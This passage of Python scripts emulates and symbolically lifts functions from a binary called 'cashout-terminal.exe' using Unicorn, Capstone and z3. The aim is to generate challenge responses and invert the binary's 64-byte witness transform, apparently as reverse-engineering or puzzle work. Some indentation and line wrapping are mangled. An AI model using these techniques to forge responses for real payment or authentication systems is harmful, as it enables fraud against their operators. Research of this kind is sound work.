IMAGE_BASE = 0x140000000
FUNC_RVA = 0x14E0
RUNTIME_NOOP = IMAGE_BASE + 0x1D280
RUNTIME_ALLOC = IMAGE_BASE + 0x1D250
RUNTIME_FREE = IMAGE_BASE + 0x1D260
SENTINEL = 0x51000000
INPUT = 0x52000000
OUTPUT = 0x53000000
SCRATCH = 0x54000000
STACK = 0x70000000
STACK_SIZE = 0x100000

def generate(challenge: bytes, seal: bytes) -> bytes:
    if len(challenge) != 16 or len(seal) != 32:
        raise ValueError("challenge must be 16 bytes and seal 32 bytes")
    pe = pefile.PE(str(HERE / "original" / "cashout-terminal.exe"))
    assert pe.OPTIONAL_HEADER.ImageBase == IMAGE_BASE
    image = pe.get_memory_mapped_image()
    uc = Uc(UC_ARCH_X86, UC_MODE_64)
    uc.mem_map(IMAGE_BASE, (len(image) + 0xFFF) & ~0xFFF)
    uc.mem_write(IMAGE_BASE, image)
    for address in (SENTINEL, INPUT, OUTPUT, SCRATCH):
        uc.mem_map(address, 0x1000)
    uc.mem_map(STACK, STACK_SIZE)
    uc.mem_write(INPUT, challenge + seal)
    rsp = STACK + STACK_SIZE - 0x1008
    uc.mem_write(rsp, SENTINEL.to_bytes(8, "little"))
    uc.mem_write(rsp + 0x28, (32).to_bytes(8, "little"))
    uc.reg_write(UC_X86_REG_RCX, OUTPUT)
    uc.reg_write(UC_X86_REG_RDX, INPUT)
    uc.reg_write(UC_X86_REG_R8, 16)
    uc.reg_write(UC_X86_REG_R9, INPUT + 16)
    uc.reg_write(UC_X86_REG_RSP, rsp)

    events = {"stopped": False, "alloc_calls": 0}
    trail = deque(maxlen=16)

    def on_instruction(emu, address, size, _):
        trail.append(address)
        if address == SENTINEL:
            events["stopped"] = True
            emu.emu_stop()
        elif address in (RUNTIME_NOOP, RUNTIME_ALLOC, RUNTIME_FREE):
            return_address = int.from_bytes(emu.mem_read(emu.reg_read(UC_X86_REG_RSP), 8), "little")
            emu.reg_write(UC_X86_REG_RSP, emu.reg_read(UC_X86_REG_RSP) + 8)
            emu.reg_write(UC_X86_REG_RIP, return_address)
            if address == RUNTIME_ALLOC:
                events["alloc_calls"] += 1
                emu.reg_write(UC_X86_REG_RAX, SCRATCH)

    def on_invalid(emu, access, address, size, value, _):
        raise RuntimeError(f"Invalid memory access {access} at {address:#x}, size={size}, RIP={emu.reg_read(
UC_X86_REG_RIP):#x}")

    uc.hook_add(UC_HOOK_CODE, on_instruction)
    uc.hook_add(UC_HOOK_MEM_INVALID, on_invalid)
    try:
        uc.emu_start(IMAGE_BASE + FUNC_RVA, SENTINEL + 1, count=1000000)
    except Exception as error:
        raise RuntimeError(
            f"emulation failed: {error}; RIP={uc.reg_read(UC_X86_REG_RIP):#x} "
```

```
            f"RSP={uc.reg_read(UC_X86_REG_RSP):#x} events={events} "
            f"trail={[hex(x) for x in trail]}"
        ) from error
    if not events["stopped"] or events["alloc_calls"] != 1:
        raise RuntimeError(f"Emulation did not reach normal return: {events}")
    return bytes(uc.mem_read(OUTPUT, 64))

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("challenge", help="16-byte challenge as 32 hex digits")
    parser.add_argument("seal", help="32-byte batch seal as 64 hex digits")
    args = parser.parse_args()
    print(generate(bytes.fromhex(args.challenge), bytes.fromhex(args.seal)).hex())

if __name__ == "__main__":
    main()
```

emulate_witness.py

코드 블록 (python)

```
"""Emulate only the archived terminal's 64-byte witness transform."""

import argparse

from emulate_target import (
    IMAGE_BASE,
    INPUT,
    OUTPUT,
    RUNTIME_ALLOC,
    RUNTIME_FREE,
    RUNTIME_NOOP,
    SCRATCH,
    SENTINEL,
    STACK,
    STACK_SIZE,
    HERE,
)

import pefile
from unicorn import Uc, UC_ARCH_X86, UC_MODE_64, UC_HOOK_CODE, UC_HOOK_MEM_INVALID, UC_HOOK_MEM_WRITE
from unicorn.x86_const import (
    UC_X86_REG_RAX,
    UC_X86_REG_RCX,
    UC_X86_REG_RDX,
    UC_X86_REG_R8,
    UC_X86_REG_RIP,
    UC_X86_REG_RSP,
)

FUNC_RVA = 0x7AC0
RUNTIME_MEMCPY = IMAGE_BASE + 0x32B35

def transform(witness: bytes, trace=False):
    if len(witness) != 64:
        raise ValueError("witness must be 64 bytes")
    pe = pefile.PE(str(HERE / "original" / "cashout-terminal.exe"))
    image = pe.get_memory_mapped_image()
    uc = Uc(UC_ARCH_X86, UC_MODE_64)
    uc.mem_map(IMAGE_BASE, (len(image) + 0xFFF) & ~0xFFF)
    uc.mem_write(IMAGE_BASE, image)
    for address in (SENTINEL, INPUT, OUTPUT, SCRATCH):
        uc.mem_map(address, 0x1000)
    uc.mem_map(STACK, STACK_SIZE)
    uc.mem_write(INPUT, witness)
    rsp = STACK + STACK_SIZE - 0x1008
    uc.mem_write(rsp, SENTINEL.to_bytes(8, "little"))
    uc.reg_write(UC_X86_REG_RCX, OUTPUT)
    uc.reg_write(UC_X86_REG_RDX, INPUT)
    uc.reg_write(UC_X86_REG_R8, 64)
    uc.reg_write(UC_X86_REG_RSP, rsp)
    events = {"stopped": False, "alloc_calls": 0}
    stores = []

    def on_instruction(emu, address, size, _):
        if address == SENTINEL:
            events["stopped"] = True
            emu.emu_stop()
        elif address in (RUNTIME_NOOP, RUNTIME_ALLOC, RUNTIME_FREE, RUNTIME_MEMCPY):
            if address == RUNTIME_ALLOC:
                events["alloc_calls"] += 1
                emu.reg_write(UC_X86_REG_RAX, SCRATCH)
            elif address == RUNTIME_MEMCPY:
                dest = emu.reg_read(UC_X86_REG_RCX)
                src = emu.reg_read(UC_X86_REG_RDX)
                length = emu.reg_read(UC_X86_REG_R8)
                emu.mem_write(dest, bytes(emu.mem_read(src, length)))
                emu.reg_write(UC_X86_REG_RAX, dest)
            return_address = int.from_bytes(emu.mem_read(emu.reg_read(UC_X86_REG_RSP), 8), "little")
            emu.reg_write(UC_X86_REG_RSP, emu.reg_read(UC_X86_REG_RSP) + 8)
            emu.reg_write(UC_X86_REG_RIP, return_address)

    def on_write(emu, access, address, size, value, _):
        if trace and OUTPUT <= address < OUTPUT + 64 and size == 4 and emu.reg_read(UC_X86_REG_RIP) >= IMAGE_BASE +
0x7BB1:
            stores.append((emu.reg_read(UC_X86_REG_RIP) - IMAGE_BASE, (address - OUTPUT) // 4, value & 0xFFFFFFFF))

    def on_invalid(emu, access, address, size, value, _):
        raise RuntimeError(f"Invalid memory access {access} at {address:#x}, size={size}, RIP={emu.reg_read(
```

```
UC_X86_REG_RIP):#x}")

    uc.hook_add(UC_HOOK_CODE, on_instruction)
    uc.hook_add(UC_HOOK_MEM_INVALID, on_invalid)
    if trace:
        uc.hook_add(UC_HOOK_MEM_WRITE, on_write)
    uc.emu_start(IMAGE_BASE + FUNC_RVA, SENTINEL + 1, count=1000000)
    if not events["stopped"] or events["alloc_calls"] != 1:
        raise RuntimeError(events)
    output = bytes(uc.mem_read(OUTPUT, 64))
    return (output, stores) if trace else output

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("witness", help="64-byte witness as 128 hex digits")
    parser.add_argument("--trace", action="store_true")
    args = parser.parse_args()
    result = transform(bytes.fromhex(args.witness), trace=args.trace)
    if args.trace:
        output, stores = result
        print(output.hex())
        print(f"stores={len(stores)} first={stores[:3]} last={stores[-3:]}")
    else:
        print(result.hex())

if __name__ == "__main__":
    main()
```

projection_rewrite.py

코드 블록 (python)

```
"""Constant-state projection with store-result substitution in live caches."""

from __future__ import annotations

import random
import sys
import time

import z3

from symbolic_projection import ProjectCore, eval_step
from symbolic_witness import PE_PATH, START, END, IMAGE_BASE

class RewriteCore(ProjectCore):
    def __init__(self):
        super().__init__()
        self.rewritten = 0

    def write_mem(self, insn, op, expr):
        if insn.reg_name(op.mem.base) != "rsi":
            return super().write_mem(insn, op, expr)
        super().write_mem(insn, op, expr)
        _, index, stored_expr = self.stores[-1]
        replacement = self.original[index]
        if z3.eq(stored_expr, replacement):
            return
        for name, value in self.regs.items():
            updated = z3.substitute(value, (stored_expr, replacement))
            if not z3.eq(updated, value):
                self.regs[name] = updated
                self.rewritten += 1
        for offset, value in self.stack.items():
            updated = z3.substitute(value, (stored_expr, replacement))
            if not z3.eq(updated, value):
                self.stack[offset] = updated
                self.rewritten += 1

def lift_rewrite(through=636):
    from capstone import Cs, CS_ARCH_X86, CS_MODE_64
    import pefile

    pe = pefile.PE(str(PE_PATH))
    cs = Cs(CS_ARCH_X86, CS_MODE_64)
    cs.detail = True
    core = RewriteCore()
    for insn in cs.disasm(pe.get_data(START, END - START), IMAGE_BASE + START):
        core.step(insn)
        if len(core.stores) > through:
            break
    return core

def main():
    from invert_witness import run

    through = int(sys.argv[1]) if len(sys.argv) > 1 else 181
    began = time.monotonic()
    core = lift_rewrite(through)
    print("lifted", len(core.stores), "rewrites", core.rewritten,
          "seconds", round(time.monotonic() - began, 2), flush=True)
    failures = set()
    for sample in range(3):
        witness = random.Random(5371 + sample).randbytes(64)
        _, events, _ = run(witness)
        mismatches = []
        for j in range(len(core.stores)):
            got = eval_step(core, j, events[j][3])
            if got != events[j][2]:
```

```
                mismatches.append(j)
                failures.add(j)
        print("sample", sample, "mismatches", len(mismatches), mismatches, flush=True)
    print("union", len(failures), sorted(failures), flush=True)

if __name__ == "__main__":
    main()
```

symbolic_projection.py

코드 블록 (python)

```
"""Symbolic 16-word constant-state projection of the witness update stream."""

import json
import sys
import time
from pathlib import Path

HERE=Path(__file__).resolve().parent
sys.path.insert(0,str(HERE/".deps"))

from capstone import Cs,CS_ARCH_X86,CS_MODE_64
import pefile
import z3

from symbolic_witness import Core,PE_PATH,START,END,IMAGE_BASE,val

ALIASES=json.loads((HERE/"alternative_alias_candidates.json").read_text(encoding="utf-8"))
XOR_ALIASES=json.loads((HERE/"xor_alias_candidates.json").read_text(encoding="utf-8"))
AFFINE_ALIASES=json.loads((HERE/"affine_alias_candidates.json").read_text(encoding="utf-8"))

class ProjectCore(Core):
    def __init__(self):
        super().__init__(None,ssa=False)

    def write_mem(self,insn,op,expr):
        if insn.reg_name(op.mem.base)!="rsi":
            return super().write_mem(insn,op,expr)
        super().write_mem(insn,op,expr)
        step=len(self.stores)-1
        index=self.stores[-1][1]
        self.words[index]=self.original[index]
        for where,word in ALIASES[step].items():
            value=self.original[word]
            if where.startswith("stack."):
                self.write_stack(int(where[6:],16),value)
            else:
                name,half=where.split(".")
                old=self.regs[name]
                if half=="lo":self.regs[name]=z3.Concat(z3.Extract(63,32,old),value)
                else:self.regs[name]=z3.Concat(value,z3.Extract(31,0,old))
        for where,(word,constant) in XOR_ALIASES[step].items():
            value=self.original[word]^val(constant,32)
            if where.startswith("stack."):
                self.write_stack(int(where[6:],16),value)
            else:
                name,half=where.split(".")
                old=self.regs[name]
                if half=="lo":self.regs[name]=z3.Concat(z3.Extract(63,32,old),value)
                else:self.regs[name]=z3.Concat(value,z3.Extract(31,0,old))
        for where,(word,kind,rotate,constant) in AFFINE_ALIASES[step].items():
            assert kind=="add" and rotate==0
            value=self.original[word]+val(constant,32)
            if where.startswith("stack."):
                self.write_stack(int(where[6:],16),value)
            else:
                name,half=where.split(".")
                old=self.regs[name]
                if half=="lo":self.regs[name]=z3.Concat(z3.Extract(63,32,old),value)
                else:self.regs[name]=z3.Concat(value,z3.Extract(31,0,old))
        if step==176:
            # These selectors were prepared from the just-stored word5 before
            # the store, so restore their relation to the projected state.
            remainder=z3.URem(self.original[5]^val(0x9EB63128,32),val(15,32))
            self.regs["rbx"]=z3.ZeroExt(32,remainder)
            self.regs["r15"]=z3.ZeroExt(32,z3.If(remainder==val(0,32),val(0,32),val(1,32)))
        if step==114:
            selector=z3.URem(self.original[9]^val(0xB556E5B0^0x99F1DFA5,32),val(15,32))
            self.regs["rcx"]=z3.ZeroExt(32,selector)
        if step==88:
            selector=z3.URem(self.original[13]^val(0x19263CA9,32),val(15,32))
            self.regs["rax"]=z3.ZeroExt(32,selector)
            self.regs["rdi"]=z3.ZeroExt(32,z3.If(z3.UGE(selector,val(6,32)),val(1,32),val(0,32)))
        if step==51:
            selector=z3.URem(self.original[1]^val(0xEE38969B,32),val(15,32))
            self.regs["r10"]=z3.ZeroExt(32,selector)
        if step==146:
            selector=z3.URem(self.original[9]^val(0xD4E5462E,32),val(15,32))
            self.regs["r11"]=z3.ZeroExt(32,selector)
            self.zf=selector==val(0,32)

def lift(max_store=636):
    pe=pefile.PE(str(PE_PATH))
    cs=Cs(CS_ARCH_X86,CS_MODE_64)
    cs.detail=True
    core=ProjectCore()
    for insn in cs.disasm(pe.get_data(START,END-START),IMAGE_BASE+START):
        core.step(insn)
```

```
        if len(core.stores)>max_store:break
    return core

def eval_step(core,step,prestate):
    expr=core.stores[step][2]
    known=[(core.original[i],val(int.from_bytes(prestate[4*i:4*i+4],"little"),32)) for i in range(16)]
    return z3.simplify(z3.substitute(expr,*known)).as_long()

def invert_step(core,step,poststate,timeout_ms=5000):
    _,word,expr=core.stores[step]
    target=int.from_bytes(poststate[4*word:4*word+4],"little")
    known=[(core.original[i],val(int.from_bytes(poststate[4*i:4*i+4],"little"),32))
           for i in range(16) if i!=word]
    x=core.original[word]
    equation=z3.simplify(z3.substitute(expr==val(target,32),*known))
    solver=z3.SolverFor("QF_BV")
    solver.set(timeout=timeout_ms)
    solver.add(equation)
    result=solver.check()
    if result!=z3.sat:
        raise RuntimeError(f"step {step} result={result} reason={solver.reason_unknown()}")
    old=solver.model().eval(x,model_completion=True).as_long()
    pre=bytearray(poststate)
    pre[4*word:4*word+4]=old.to_bytes(4,"little")
    return bytes(pre)

def main():
    from invert_witness import descriptors,run
    from project_with_aliases import project
    import random
    rng=random.Random(4101)
    t0=time.monotonic();core=lift(181)
    print("lift_seconds",round(time.monotonic()-t0,2),"stores",len(core.stores),flush=True)
    desc=descriptors()
    witness=rng.randbytes(64)
    _,events,_=run(witness)
    for j in (0,1,2,3,6,7,12,13,44,100,162,180,181):
        prestate=events[j][3]
        symbolic=eval_step(core,j,prestate)
        projected=project(prestate,j,desc)
        print(j,"symbolic",f"{symbolic:08x}","projected",f"{projected:08x}",
              "same",symbolic==projected,"true",symbolic==events[j][2],flush=True)

if __name__=="__main__":main()
```

symbolic_witness.py

코드 블록 (python)

```
"""Lift the terminal witness core into 32/64-bit SSA expressions.

The core (RVA 0x7bb1..0x1d193) is straight-line x86-64 containing only
13 instruction mnemonics. This focused lifter models its state words,
registers, and stack spills, including data-dependent word selects.
"""

from __future__ import annotations

import sys
from pathlib import Path

HERE = Path(__file__).resolve().parent
sys.path.insert(0, str(HERE / ".deps"))

from capstone import Cs, CS_ARCH_X86, CS_MODE_64
from capstone.x86_const import X86_OP_IMM, X86_OP_MEM, X86_OP_REG
import pefile
import z3

from emulate_witness import transform

PE_PATH = HERE / "original" / "cashout-terminal.exe"
IMAGE_BASE = 0x140000000
START = 0x7BB1
END = 0x1D196
STATE_BASE = 0x53000000
STACK_BASE = 0x70000000

def val(number: int, width: int):
    return z3.BitVecVal(number & ((1 << width) - 1), width)

def fit(expr, width: int):
    current = expr.size()
    if current == width:
        return expr
    if current > width:
        return z3.Extract(width-1, 0, expr)
    return z3.ZeroExt(width-current, expr)

def const(expr):
    simple = z3.simplify(expr)
    return simple.as_long() if z3.is_bv_value(simple) else None

def dependency_mask(expr, cache: dict[int,int]):
    """Memoized variable dependencies for shared Z3 DAGs."""
    stack=[expr]
    while stack:
        node=stack[-1]
        key=node.get_id()
```

```
            if key in cache:
                stack.pop()
                continue
            children=node.children()
            missing=[child for child in children if child.get_id() not in cache]
            if missing:
                stack.extend(missing)
                continue
            if not children and node.decl().kind()==z3.Z3_OP_UNINTERPRETED:
                name=node.decl().name()
                bit=int(name[1:])+(16 if name.startswith("s") else 0)
                mask=1<<bit
            else:
                mask=0
                for child in children:
                    mask|=cache[child.get_id()]
            cache[key]=mask
            stack.pop()
        return cache[expr.get_id()]

    def mask_names(mask: int):
        names=[]
        while mask:
            bit=(mask & -mask).bit_length()-1
            names.append(f"w{bit}" if bit<16 else f"s{bit-16}")
            mask &= mask-1
        return names

    def canonical(name: str) -> tuple[str,int,int]:
        if name.startswith("r") and name[1:].rstrip("dwb").isdigit():
            base = name.rstrip("dwb")
            suffix = name[len(base):]
            return base, {"":64,"d":32,"w":16,"b":8}[suffix], 0
        aliases = {
            "rax": ("rax",64,0), "eax": ("rax",32,0), "ax": ("rax",16,0), "al": ("rax",8,0), "ah": ("rax",8,8),
            "rbx": ("rbx",64,0), "ebx": ("rbx",32,0), "bx": ("rbx",16,0), "bl": ("rbx",8,0), "bh": ("rbx",8,8),
            "rcx": ("rcx",64,0), "ecx": ("rcx",32,0), "cx": ("rcx",16,0), "cl": ("rcx",8,0), "ch": ("rcx",8,8),
            "rdx": ("rdx",64,0), "edx": ("rdx",32,0), "dx": ("rdx",16,0), "dl": ("rdx",8,0), "dh": ("rdx",8,8),
            "rsi": ("rsi",64,0), "esi": ("rsi",32,0), "si": ("rsi",16,0), "sil": ("rsi",8,0),
            "rdi": ("rdi",64,0), "edi": ("rdi",32,0), "di": ("rdi",16,0), "dil": ("rdi",8,0),
            "rbp": ("rbp",64,0), "ebp": ("rbp",32,0), "bp": ("rbp",16,0), "bpl": ("rbp",8,0),
            "rsp": ("rsp",64,0), "esp": ("rsp",32,0), "sp": ("rsp",16,0), "spl": ("rsp",8,0),
        }
        if name not in aliases:
            raise ValueError(f"unknown register: {name}")
        return aliases[name]

    class Core:
        def __init__(self, witness: bytes | None = None, *, ssa: bool = False, skip_targets=None, output_aliases=None):
            self.concrete = witness is not None
            self.ssa = ssa
            self.skip_targets = skip_targets
            self.output_aliases = output_aliases
            self.replacements: dict[int,z3.BitVecRef] = {}
            self.replacement_nodes: list[z3.BitVecRef] = []
            self.rewrite_cache: dict[int,z3.AstRef] = {}
            self.rewrite_nodes: list[z3.AstRef] = []
            self.words = ([val(int.from_bytes(witness[i*4:i*4+4],"little"),32) for i in range(16)]
                          if witness is not None else [z3.BitVec(f"w{i}",32) for i in range(16)])
            self.original = list(self.words)
            self.regs: dict[str,z3.BitVecRef] = {}
            self.stack: dict[int,z3.BitVecRef] = {}
            self.cf = z3.BoolVal(False)
            self.zf = z3.BoolVal(False)
            self.stores = []
            self.write_reg("rsi",val(STATE_BASE,64))
            self.write_reg("rsp",val(STACK_BASE,64))
            self.write_reg("r14",val(0x54000000,64))
            self.write_reg("r12",val(16,64))
            self.write_reg("rdi",val(64,64))
            self.write_reg("ebp",self.words[0])
            self.write_reg("r15",z3.Concat(self.words[2],self.words[1]))
            self.write_reg("rbx",z3.Concat(self.words[4],self.words[3]))
            self.write_reg("r13",z3.Concat(self.words[6],self.words[5]))
            self.write_reg("eax",self.words[15])
            for i in range(7,16):
                self.write_stack(0xC0 + 4*(i-7), self.words[i])

        def read_reg(self, name: str):
            base,width,shift = canonical(name)
            if base not in self.regs:
                raise ValueError(f"read of uninitialized {name}")
            x = self.resolve(self.regs[base]) if self.ssa else self.regs[base]
            self.regs[base]=x
            result=x if width==64 else z3.Extract(shift+width-1,shift,x)
            return self.resolve(result) if self.ssa else result

        def resolve(self,expr):
            """Apply prior store aliases only when an expression is read."""
            if not self.ssa:
                return expr
            stack=[expr]
            while stack:
                node=stack[-1]
                key=node.get_id()
                if key in self.rewrite_cache:
                    stack.pop()
                    continue
                if key in self.replacements:
```

```
                self.rewrite_cache[key]=self.replacements[key]
                self.rewrite_nodes.append(node)
                stack.pop()
                continue
            children=node.children()
            missing=[child for child in children if child.get_id() not in self.rewrite_cache]
            if missing:
                stack.extend(missing)
                continue
            if children:
                updated=[self.rewrite_cache[child.get_id()] for child in children]
                if any(not z3.eq(a,b) for a,b in zip(children,updated)):
                    self.rewrite_cache[key]=node.decl()(*updated)
                else:
                    self.rewrite_cache[key]=node
            else:
                self.rewrite_cache[key]=node
            self.rewrite_nodes.append(node)
            stack.pop()
        return self.rewrite_cache[expr.get_id()]

    def write_reg(self,name: str,expr):
        base,width,shift = canonical(name)
        expr = fit(expr,width)
        if width==64:
            self.regs[base]=expr
        elif width==32:
            self.regs[base]=z3.ZeroExt(32,expr)
        else:
            old = self.regs.get(base,val(0,64))
            mask = ((1<<width)-1)<<shift
            self.regs[base]=(old & val(~mask,64)) | (z3.ZeroExt(64-width,expr) << shift)

    def write_stack(self,offset: int,expr):
        expr=fit(expr,32)
        for i in range(4):
            self.stack[offset+i]=z3.Extract(8*i+7,8*i,expr)

    def addr(self,insn,op):
        mem=op.mem
        x=val(mem.disp,64)
        if mem.base:
            x=x+self.read_reg(insn.reg_name(mem.base))
        if mem.index:
            x=x+self.read_reg(insn.reg_name(mem.index))*val(mem.scale,64)
        return x

    def read_mem(self,insn,op):
        width=op.size*8
        if insn.reg_name(op.mem.base)=="rsp":
            assert not op.mem.index
            offset=op.mem.disp
            chunks=[self.stack.get(offset+i) for i in range(op.size)]
            if any(x is None for x in chunks):
                raise ValueError(f"uninitialized stack at {offset:#x} / {op.size} bytes")
            if self.ssa:
                chunks=[self.resolve(x) for x in chunks]
                for i,x in enumerate(chunks):
                    self.stack[offset+i]=x
            return z3.Concat(*reversed(chunks)) if len(chunks)>1 else chunks[0]
        if insn.reg_name(op.mem.base)=="rsi" and not op.mem.index:
            offset=op.mem.disp
            assert 0<=offset<64 and offset%4==0 and width==32, (insn.address,offset,width)
            return self.words[offset//4]
        addr=self.addr(insn,op)
        offset=const(addr-val(STATE_BASE,64)) if self.concrete else None
        if offset is not None:
            assert 0<=offset<64 and offset%4==0 and width==32, (insn.address,offset,width)
            if self.skip_targets is not None:
                assert offset//4 != self.skip_targets[len(self.stores)],("dynamic read hit skipped target",hex(insn.
address-IMAGE_BASE),len(self.stores),offset//4)
            return self.words[offset//4]
        assert width==32,(insn.address,width)
        index=z3.Extract(5,2,addr-val(STATE_BASE,64))
        available=[i for i in range(16) if self.skip_targets is None or i != self.skip_targets[len(self.stores)]]
        result=self.words[available[-1]]
        for i in reversed(available[:-1]):
            result=z3.If(index==val(i,4),self.words[i],result)
        return result

    def write_mem(self,insn,op,expr):
        width=op.size*8
        expr=fit(expr,width)
        if insn.reg_name(op.mem.base)=="rsp":
            assert not op.mem.index
            offset=op.mem.disp
            for i in range(op.size):
                self.stack[offset+i]=z3.Extract(8*i+7,8*i,expr)
            return
        assert insn.reg_name(op.mem.base)=="rsi" and not op.mem.index
        offset=op.mem.disp
        assert offset is not None and 0<=offset<64 and offset%4==0 and width==32,(insn.address,offset,width)
        index=offset//4
        if self.ssa:
            before=tuple(self.words)
            fresh=z3.BitVec(f"s{len(self.stores)}",32)
            self.stores.append((insn.address-IMAGE_BASE,index,fresh,expr,before))
            self.words[index]=fresh
            self.replacements[expr.get_id()]=fresh
```

```
            simplified=z3.simplify(expr)
            self.replacement_nodes.append(simplified)
            self.replacements[simplified.get_id()]=fresh
            self.rewrite_cache.clear()
            self.rewrite_nodes.clear()
            if self.output_aliases is not None:
                for alias in self.output_aliases[len(self.stores)-1]:
                    if alias[0]=="stack":
                        slot=alias[1]
                        for i in range(4):
                            self.stack[slot+i]=z3.Extract(8*i+7,8*i,fresh)
                    elif alias[0]=="reg":
                        name,half=alias[1],alias[2]
                        old=self.regs[name]
                        if half=="low":
                            self.regs[name]=z3.Concat(z3.Extract(63,32,old),fresh)
                        else:
                            self.regs[name]=z3.Concat(fresh,z3.Extract(31,0,old))
        else:
            self.words[index]=expr
            self.stores.append((insn.address-IMAGE_BASE,index,expr))

    def read(self,insn,op):
        if op.type==X86_OP_REG:
            return self.read_reg(insn.reg_name(op.reg))
        if op.type==X86_OP_IMM:
            return val(op.imm,op.size*8)
        if op.type==X86_OP_MEM:
            return self.read_mem(insn,op)
        raise ValueError(f"unsupported operand at {insn.address:#x}")

    def write(self,insn,op,expr):
        if op.type==X86_OP_REG:
            self.write_reg(insn.reg_name(op.reg),expr)
        elif op.type==X86_OP_MEM:
            self.write_mem(insn,op,expr)
        else:
            raise ValueError("unsupported destination")

    def step(self,insn):
        op=insn.operands
        mnemonic=insn.mnemonic
        if mnemonic=="mov":
            self.write(insn,op[0],self.read(insn,op[1]))
        elif mnemonic=="lea":
            self.write(insn,op[0],self.addr(insn,op[1]))
        elif mnemonic in ("xor","add","sub"):
            a,b=self.read(insn,op[0]),self.read(insn,op[1])
            b=fit(b,a.size())
            if mnemonic=="xor":
                result=a^b
                self.cf=z3.BoolVal(False)
            elif mnemonic=="add":
                result=a+b
                self.cf=z3.ULT(result,a)
            else:
                result=a-b
                self.cf=z3.ULT(a,b)
            self.zf=(result==val(0,a.size()))
            self.write(insn,op[0],result)
        elif mnemonic=="imul":
            if len(op)==2:
                a,b=self.read(insn,op[0]),self.read(insn,op[1])
            else:
                a,b=self.read(insn,op[1]),self.read(insn,op[2])
            self.write(insn,op[0],a*fit(b,a.size()))
        elif mnemonic in ("rol","ror"):
            a=self.read(insn,op[0])
            amount=const(self.read(insn,op[1]))
            if amount is None: raise ValueError("variable rotate")
            result=z3.RotateLeft(a,amount) if mnemonic=="rol" else z3.RotateRight(a,amount)
            self.write(insn,op[0],result)
        elif mnemonic=="shr":
            a=self.read(insn,op[0])
            amount=fit(self.read(insn,op[1]),a.size())
            self.write(insn,op[0],z3.LShR(a,amount))
        elif mnemonic=="cmp":
            a,b=self.read(insn,op[0]),self.read(insn,op[1])
            b=fit(b,a.size())
            self.cf=z3.ULT(a,b)
            self.zf=(a==b)
        elif mnemonic in ("setae","setne"):
            predicate=z3.Not(self.cf) if mnemonic=="setae" else z3.Not(self.zf)
            self.write(insn,op[0],z3.If(predicate,val(1,8),val(0,8)))
        elif mnemonic=="bswap":
            a=self.read(insn,op[0])
            chunks=[z3.Extract(i+7,i,a) for i in range(0,a.size(),8)]
            self.write(insn,op[0],z3.Concat(*chunks))
        else:
            raise ValueError(f"unsupported {mnemonic} at {insn.address:#x}")

def lift(witness: bytes | None = None, *, ssa: bool = False, skip_target_branch: bool = False, use_output_aliases:
bool = False, max_store: int | None = None):
    pe=pefile.PE(str(PE_PATH))
    cs=Cs(CS_ARCH_X86,CS_MODE_64)
    cs.detail=True
    skip_targets=None
    if skip_target_branch:
        from invert_witness import descriptors
```

```
        skip_targets=[row[1] for row in descriptors()]
    output_aliases=None
    if use_output_aliases:
        from trace_aliases import discover
        output_aliases=[row[2] for row in discover(samples=5)]
    core=Core(witness,ssa=ssa,skip_targets=skip_targets,output_aliases=output_aliases)
    for insn in cs.disasm(pe.get_data(START,END-START),IMAGE_BASE+START):
        try:
            core.step(insn)
        except Exception as error:
            raise RuntimeError(f"failed at RVA {insn.address-IMAGE_BASE:#x}: {insn.mnemonic} {insn.op_str}: {
error}") from error
        if max_store is not None and len(core.stores)>max_store:
            break
    return core

def main():
    if len(sys.argv)>1 and sys.argv[1]=="--skip-concrete":
        witness=bytes(range(64))
        core=lift(witness,skip_target_branch=True)
        _,expected=transform(witness,trace=True)
        matches=all((rva,idx,const(expr))==(er,ew,ev)
                    for (rva,idx,expr),(er,ew,ev) in zip(core.stores,expected))
        print("skip branches concrete stores",len(core.stores),"match",matches)
        return
    if len(sys.argv)>1 and sys.argv[1]=="--skip-ssa":
        core=lift(ssa=True,skip_target_branch=True)
        print("skip branch SSA stores:",len(core.stores))
        return
    if len(sys.argv)>1 and sys.argv[1]=="--alias-ssa":
        core=lift(ssa=True,skip_target_branch=True,use_output_aliases=True)
        print("alias SSA stores:",len(core.stores))
        return
    if len(sys.argv)>1 and sys.argv[1]=="--symbolic":
        core=lift()
        print("symbolic stores:",len(core.stores))
        print("last expression bytes:",len(core.stores[-1][2].sexpr()))
        return
    if len(sys.argv)>1 and sys.argv[1]=="--ssa":
        core=lift(ssa=True)
        print("SSA stores:",len(core.stores))
        extra_counts=[]
        cache={}
        for i,(rva,idx,new,expr,before) in enumerate(core.stores):
            current=0
            for word in before:
                current |= dependency_mask(word,cache)
            used=dependency_mask(expr,cache)
            extra=used & ~current
            extra_counts.append(extra.bit_count())
            if i<12 or extra and i%40==0:
                print(i,hex(rva),idx,"used",used.bit_count(),"extra",mask_names(extra)[:10])
        print("histogram",{n:extra_counts.count(n) for n in sorted(set(extra_counts))})
        print("cache nodes:",len(cache))
        return
    if len(sys.argv)>1 and sys.argv[1]=="--ssa-fast":
        core=lift(ssa=True)
        print("SSA stores:",len(core.stores),"last RVA:",hex(core.stores[-1][0]))
        return
    if len(sys.argv)>1 and sys.argv[1]=="--ssa-tail":
        core=lift(ssa=True)
        cache={}
        for i in range(len(core.stores)-20,len(core.stores)):
            rva,idx,new,expr,before=core.stores[i]
            current=0
            for word in before:
                current |= dependency_mask(word,cache)
            used=dependency_mask(expr,cache)
            print(i,hex(rva),idx,"extra",mask_names(used & ~current))
        return
    witness=bytes(range(64))
    core=lift(witness)
    _,expected=transform(witness,trace=True)
    assert len(core.stores)==len(expected),(len(core.stores),len(expected))
    for i,((rva,word,expr),(er,ew,ev)) in enumerate(zip(core.stores,expected)):
        actual=const(expr)
        if (rva,word,actual)!=(er,ew,ev):
            print("first mismatch",i,hex(rva),word,actual,hex(er),ew,hex(ev))
            break
    else:
        print("all",len(expected),"stores match Unicorn")

if __name__=="__main__":
    main()
```

invert_witness.py

코드 블록 (python)

```
"""Project individual state updates of the archived witness transform.

The full transform is a generated 16-word permutation. This script tests
whether forcing earlier stores to a supplied pre-step state yields the true
next update, which would allow cheap scalar inversion one store at a time.
"""

from __future__ import annotations

import sys
```

```
from collections import Counter
from pathlib import Path

sys.path.insert(0, str(Path(__file__).resolve().parent / ".deps"))

from capstone import Cs, CS_ARCH_X86, CS_MODE_64
from capstone.x86_const import X86_OP_REG
import pefile
from unicorn import Uc, UC_ARCH_X86, UC_MODE_64, UC_HOOK_CODE, UC_HOOK_MEM_WRITE
import unicorn.x86_const as uregs
from unicorn.x86_const import (
